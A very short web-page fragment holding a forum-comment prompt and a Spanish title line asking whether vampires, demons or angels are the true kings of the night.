For commenting please visit our forums.

los verdaderos reyes de la noche vampiros demonios o angeles de la noche